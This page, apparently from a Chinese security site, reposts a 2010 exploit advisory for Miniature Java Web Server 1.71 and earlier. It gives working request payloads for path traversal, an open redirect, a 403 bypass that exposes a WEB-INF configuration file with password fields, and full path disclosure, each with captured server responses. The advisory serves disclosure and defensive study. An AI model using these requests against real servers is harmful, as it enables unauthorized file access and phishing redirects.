首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Miniature Java Web Server <= 1.71 Multiple Vulnerabilities
来源:http://gmail.com 作者:cp77fk4r 发布时间:2010-04-09  

# Exploit Title: Miniature Java Web Server <= 1.71 Multiple Vulnerabilities.
# Date: 26/03/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il>
# Software Link: http://tjws.sourceforge.net/#download
# Version: <= 1.71
# Tested on: JRE build 1.6.0_17-b04
#
##[Path Traversal:]
A Path Traversal attack aims to access files and directories that are stored outside the web root folder. By browsing the application, the attacker looks for absolute links to files stored on the web server. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control. The attacker uses “../” sequences to move up to root directory, thus permitting navigation through the file system. (OWASP)
#
http://localhost/..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C
(You'll get the root directory on the volume)
#
#
##[Open Redirect:]
An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it. (OWASP)
#
HTTP REQUEST:
#
get /%00 HTTP/1.1\r\nHost: digitalwhisper.co.il<http://digitalwhisper.co.il>\r\n\r\n
#
Lead to:
#
HTTP RESPONSE:
#
HTTP/1.1 302 Moved temporarily
content-type: text/html
location: http://digitalwhisper.co.il/ /
connection: keep-alive
date: Thu, 25 Mar 2010 17:17:40 GMT
keep-alive: timeout=30, max=100
content-length: 303
server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $
mime-version: 1.0

<HTML><HEAD><TITLE>302 Moved</TITLE></HEAD><BODY BGCOLOR="#D1E9FE"><H2>302 Moved</H2>This document has moved <a href=http://digitalwhisper.co.il/
#
#
##[403 (Forbidden) Bypass:] (Insufficient Authorization)
Insufficient Authorization results when an application does not perform adequate authorization checks to ensure that the user is performing a function or accessing data in a manner consistent with the security policy. Authorization procedures should enforce what a user, service or application is permitted to do. When a user is authenticated to a web site, it does not necessarily mean that the user should have full access to all content and functionality. (WASC)
#
The Attacker can bypass a forbidden file by adding %2f before the forbidden folder/file.
#
#e.g:
HTTP REQUEST:
#
GET /demo-servlets/WEB-INF/config/mishka.properties HTTP/1.1
Host: localhost
#
Lead to:
#
HTTP RESPONSE:
#
HTTP/1.1 403 Forbidden
content-type: text/html
connection: keep-alive
date: Thu, 25 Mar 2010 17:49:56 GMT
keep-alive: timeout=30, max=100
content-length: 243
server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $
mime-version: 1.0

<HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY BGCOLOR="#D1E9FE"><H2>403 Forbidden</H2><HR><ADDRESS><A HREF="http://tjws.sourceforge.net">D. Rogatkin's TJWS based on Acme.Serve Version 1.71, $Revision: 1.199 $</A></ADDRESS></BODY></HTML>
#
BUT:
#
HTTP REQUEST:
#
GET /demo-servlets/%2fWEB-INF/config/mishka.properties HTTP/1.1
Host: localhost
#
Lead to:
#
HTTP REQPONSE:
#
HTTP/1.1 200 Ok
content-type: Unknown
connection: keep-alive
date: Thu, 08 Apr 2010 18:00:35 GMT
last-modified: Thu, 25 Mar 2010 16:41:58 GMT
keep-alive: timeout=30, max=100
content-length: 364
server: D. Rogatkin's TJWS based on Acme.Serve/Version 1.71, $Revision: 1.199 $
mime-version: 1.0

# XML persistant storage location
config=mishka.xml
WorkerPrefix=javaarchitect.servlet.mishka.
# HTMl template path
TEMPLATEROOT=/javaarchitect/servlet/mishka/resource
PASSWORD=*************
MESSAGEBOARD_PASSWORD=*************
#MESSAGEBOARD_REALMNAME=Lunch Administrator
DefaultServant=frontpage
charset=KOI8-r
MessageBoardStore=lunchboard.store
DEBUG=1
#
#
##[Full Path Disclosure:]
Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. (OWASP)
#
http://localhost/demo-servlets/snoop.jsp
#
#
[e0f]

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·CompleteFTP v3.3.0 - Remote Me
·WinSoftMagic Photo Editor .PNG
·Multiple Vendor librpc.dll Sig
·Java Deployment Toolkit Perfor
·Anyzip (.zip) v1.1 0day Poc (S
·WINDOWS FTP SERVER by DWG (Aut
·Local Glibc shared library (.s
·JAVA Web Start Arbitrary comma
·Denial of Service in McAfee Em
·Linux Kernel <= 2.6.34-rc3 Rei
·Internal Information Disclosur
·Tembria Server Monitor v5.6.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved